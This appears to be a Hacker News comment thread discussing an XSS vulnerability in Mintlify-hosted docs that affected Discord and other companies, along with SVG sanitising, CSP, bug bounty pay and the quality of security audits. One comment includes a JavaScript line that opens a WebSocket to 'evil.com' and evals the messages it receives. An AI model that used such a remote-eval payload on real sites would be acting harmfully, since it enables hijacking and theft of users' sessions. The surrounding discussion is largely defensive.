Posted by hackermondev 5 days ago
if extension == .svg
set-header Content-Security-Policy: script-src 'none'
end
ALSO as someone who maintains a file upload pipeline I run every SVG through a sanitizer... Tools like DOMPurify remove scripts and enforce a safe subset of the spec... I even go as far as rasterizing user uploaded vectors to PNG when possible
HOWEVER the bigger issue is mental... Most folks treat SVG like a dumb image when browsers treat it like executable content... Until the platform changes that expectation there will always be an attack surface
Especially something like this, where they were reverse proxying a SaaS, seems extra stupid. It's more work to set up, adds an unnecessary dependency between services and you end up paying for all the internet traffic three times (even if not directly).
I suspect Coinbase and others already use CSP.
Unfortunately a competitive rate agreed to in advance with a company before we do any pentesting is the only way we have ever been able to get paid fairly for this sort of work. Finding bugs in the wild as this researcher did often gets wildly underpaid relative to the potential impact of the bug, if they pay or take it seriously at all.
These companies should be ashamed paying out so little for this, and it is only a matter of time before they insult the wrong researcher who decides to pursue paths to maximum profit, or maximum damage, with a vuln like this.
So, rough estimate, how much would you have made for this?
Even that is quite cheap compared to letting a blackhat find this.
Some firms have a reputation for issuing clean reports that look good to bosses and customers, but we prefer working with clients that want an honest assessment of attack surface and how motivated blackhats will end their business.
We also stick around on retainer for firms that want security engineering consulting after audits to close the gaps we find and re-architect as needed. Unused retainer hours go into producing a lot of open source software to accelerate fixing the problems we see most often. This really incentivizes us to produce comprehensive reports that take into account how the software is developed and used in the real world.
Under our published threat model few companies pass level one, and we have helped a couple get close to level 2 with post audit consulting.
Our industry has a very long way to go as current industry standard practices are wildly dangerous and make life easy for blackhats.
"Finding: This dependency is vulnerable to CVE-X, update it, severity S". And then of course that dependency is only used during development, the vulnerable code isn't called, and they didn't bother to dig into that.
"Finding: Server allows TLS version 1.1, while it's recommended to only support version 1.2+", yeah, sure, I'm sure that if someone has broken TLS 1.1, they're coming for me, not for the banks, google, governments, apple, etc, everyone else still using TLS 1.1
... So yeah, all the audits will have "findings", they'll mostly be total garbage, and they'll charge you for it. If you're competent, you aren't going to get an RCE or XSS out of a security audit since it simply will not be there.
That said, a policy of blindly updating dependencies to patch irrelevant CVEs is itself, a very real security vulnerability, because pulling in millions of lines of code no one reviews from the internet regularly makes you an easy target for supply chain attacks.
We have pulled off supply chain attacks on our clients a few times who were not otherwise convinced they were a real threat.
I have a friend who at one point had five monitors and 2 computers (actually it might be 3) on his desk and maybe he’s the one doing it right. He keeps his personal stuff and his programming/work stuff completely separate.
Although with the amount of crap I have to install for windows development I'm starting to wonder if a base VM image that is used as a start point for each project would be cleaner.
The other three companies mentioned though... yeah, they totally pwned the dependency first and foremost
Ok, you got "https://discord.com/_mintlify/_static/hackerone-a00f3c6c/lma..." to send a controlled payload
But regular users will never hit "https://discord.com/_mintlify/_static/hackerone-a00f3c6c/lma...", so they will never execute your script
I fail to understand how this can be exploited, by whom and in what conditions
Anything the user can do, you can do via an XSS attack.
> Anything the user can do, you can do via an XSS attack.
I just explained why this isn't a reasonable assumption. You seem to have multiple fundamental misunderstandings about web application security so I don't think it's constructive for either of us to continue this conversation.
new WebSocket("ws://evil.com").addEventListener("message", e => eval(e.data))
Lol yeah sure buddy
The same Discord that configures things so that any time you open the console it greets you with a giant message warning you not to paste anything into the console?
RCE usually implies server-side code execution (or breaking out of browser sandbox).
XSS is limited to accessing just that one website.
But RCE usually means ability to run any code on the web server, and would generally get you access to _everything_ including full direct access to the database. All accounts and all data, not just a few accounts.
You mention one method being a cookie sent to an attacker-controlled domain, but that in itself is a vulnerability given it being incorrectly scoped (missing HTTPOnly & SameSite atleast).
> the auth token is stored in local storage
Has anyone reported this (rhetorical question)? What in the world could be the justification for this?
In my opinion, any full account takeovers due to XSS is a vulnerability, even ignoring XSS. Changing email/password/phone should require verification back to one of those methods. Or at least input of the previous password.
Apparently one of the other linked posts shows how you can also gain RCE, since the docs are statically pre-rendered and there’s no sandboxing to prevent you from evalling arbitrary JavaScript.
Yep, here it is: https://kibty.town/blog/mintlify/
Also linked in his guide (which I missed) and [here in a separate HN post](https://news.ycombinator.com/item?id=46317546). I think this other author's post is a lot more detailed and arguably more useful to folks reading on HN.
Thankfully the browser prevents sending the cookies cross origin or else this is just a single click exploit.
Edit: I gave too much credit to Discord here. They aren't protecting their tokens correctly.